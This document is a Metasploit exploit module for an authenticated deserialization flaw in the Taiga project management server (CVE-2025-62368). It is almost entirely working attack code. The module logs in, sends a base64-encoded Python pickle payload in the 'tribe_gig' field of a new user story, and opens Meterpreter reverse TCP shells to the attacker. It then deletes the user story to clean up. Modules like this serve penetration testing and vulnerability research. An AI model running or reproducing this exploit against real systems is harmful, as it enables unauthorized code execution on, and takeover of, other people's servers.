Taiga tribe_gig authenticated unserialize remote code execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class TaigaClientException < StandardError; end

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Taiga tribe_gig authenticated unserialize remote code execution',
        'Description' => %q{
          This module exploits an unserialization flaw by
          creating a userstory in a project.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'rootjog',      # Discovery
          'whotwagner'    # Metasploit Module
        ],
        'References' => [
          ['URL', 'https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5'],
          ['CVE', '2025-62368']
        ],
        'Platform' => %w[linux unix python],
        'Targets' => [
          [
            'Python payload',
            {
              'Arch' => [ ARCH_PYTHON ],
              'Platform' => 'python',
              'Type' => :python,
              'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ],
              'Platform' => %w[unix linux],
              'Type' => :nix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
              }
            }
          ],
        ],
        'DefaultOptions' => {
          'SSL' => false
        },
        'Privileged' => false,
        'DisclosureDate' => '2025-10-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to taiga', '/']),
        OptString.new('USERNAME', [true, 'The username to authenticate as']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with'])
      ]
    )
  end

  def authenticate(user, pass)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api/v1/auth'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => {
        username: user,
        password: pass,
        type: 'normal'
      }.to_json,
      'keep_cookies' => true
    )

    raise TaigaClientException, 'Login failed' if res&.code != 200

    parsed_json = res.get_json_document
    @token = parsed_json['auth_token']
    @taiga_user_id = parsed_json['id']
  end

  def get_project
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api/v1/projects'),
      'vars_get' => { 'member' => @taiga_user_id, 'order_by' => 'user_order' },
      'method' => 'GET',
      'ctype' => 'application/json',
      'keep_cookies' => true
    )

    raise TaigaClientException, 'Get projects failed!' if res&.code != 200

    projects = res.get_json_document
    projects.each do |project|
      @taiga_project = project['id'] if project['is_kanban_activated']
    end

    raise TaigaClientException, 'No project with activated kanban found' unless defined? @taiga_project
  end

  def get_status
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api/v1/userstories/filters_data'),
      'vars_get' => { 'project' => @taiga_project },
      'method' => 'GET',
      'ctype' => 'application/json',
      'keep_cookies' => true
    )

    raise TaigaClientException, 'Get status failed!' if res&.code != 200

    status_data = res.get_json_document
    raise TaigaClientException, 'No statuses found!' unless status_data.key? 'statuses'

    status_data['statuses'].each do |stat|
      return stat['id'] if stat['name'] == 'New'
    end
  end

  def delete_userstory(id)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, "api/v1/userstories/#{id}"),
      'method' => 'DELETE',
      'ctype' => 'application/json',
      'headers' => { 'Authorization' => "Bearer #{@token}" },
      'keep_cookies' => true
    )
  end

  def send_payload(payload, project_status)
    temp_project = Rex::Text.rand_text_alpha(10..15)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/v1/userstories'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'headers' => { 'Authorization' => "Bearer #{@token}" },
      'data' => {
        _attrs: { project: @taiga_project, subject: '', description: '', tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false }, _name: 'userstories', _dataTypes: {}, _modifiedAttrs: { subject: temp_project.to_s, description: temp_project.to_s }, _isModified: true, project: @taiga_project, subject: temp_project.to_s, description: temp_project.to_s, tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false, is_closed: false,
        tribe_gig: payload.to_s
      }.to_json
    )
  end

  def check
    cookie_jar.clear
    begin
      authenticate(datastore['USERNAME'], datastore['PASSWORD'])
      get_project
      project_status = get_status
    rescue TaigaClientException => e
      return Exploit::CheckCode::Unknown(e)
    end
    sleep_time = rand(5..10)
    pl = Msf::Util::PythonDeserialization.payload(:py3_exec, "import os;os.system('sleep #{sleep_time}')")
    command = Rex::Text.encode_base64(pl)
    res, elapsed_time = Rex::Stopwatch.elapsed_time do
      send_payload(command, project_status)
    end
    return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res&.code == 201

    user_story_id = res.get_json_document['id']
    res = delete_userstory(user_story_id)
    print_warning('Cleanup failed') unless res&.code == 204

    print_status("Elapsed time: #{elapsed_time} seconds.")
    return Exploit::CheckCode::Vulnerable('Detected vulnerable Taiga.io') if sleep_time <= elapsed_time

    Exploit::CheckCode::Safe('Target is not vulnerable')
  end

  def execute_command(cmd, _opts = {})
    # calls some method to inject cmd to the vulnerable code.
    begin
      project_status = get_status
    rescue TaigaClientException => e
      fail_with(Failure::UnexpectedReply, e)
    end
    print_status('Sending payload..')
    res = send_payload(cmd, project_status)
    print_good('Payload sent')
    user_story_id = res.get_json_document['id']
    print_status('Cleanup..')
    res = delete_userstory(user_story_id)
    print_warning('Cleanup failed') unless res&.code == 204
    print_good('Userstory deleted')
  end

  def exploit
    cookie_jar.clear

    begin
      authenticate(datastore['USERNAME'], datastore['PASSWORD'])
      get_project
    rescue TaigaClientException => e
      fail_with(Failure::UnexpectedReply, e)
    end

    if target['Type'] == :python
      command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
    else
      command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')")
    end
    data = Rex::Text.encode_base64(command)
    execute_command(data)
  end
end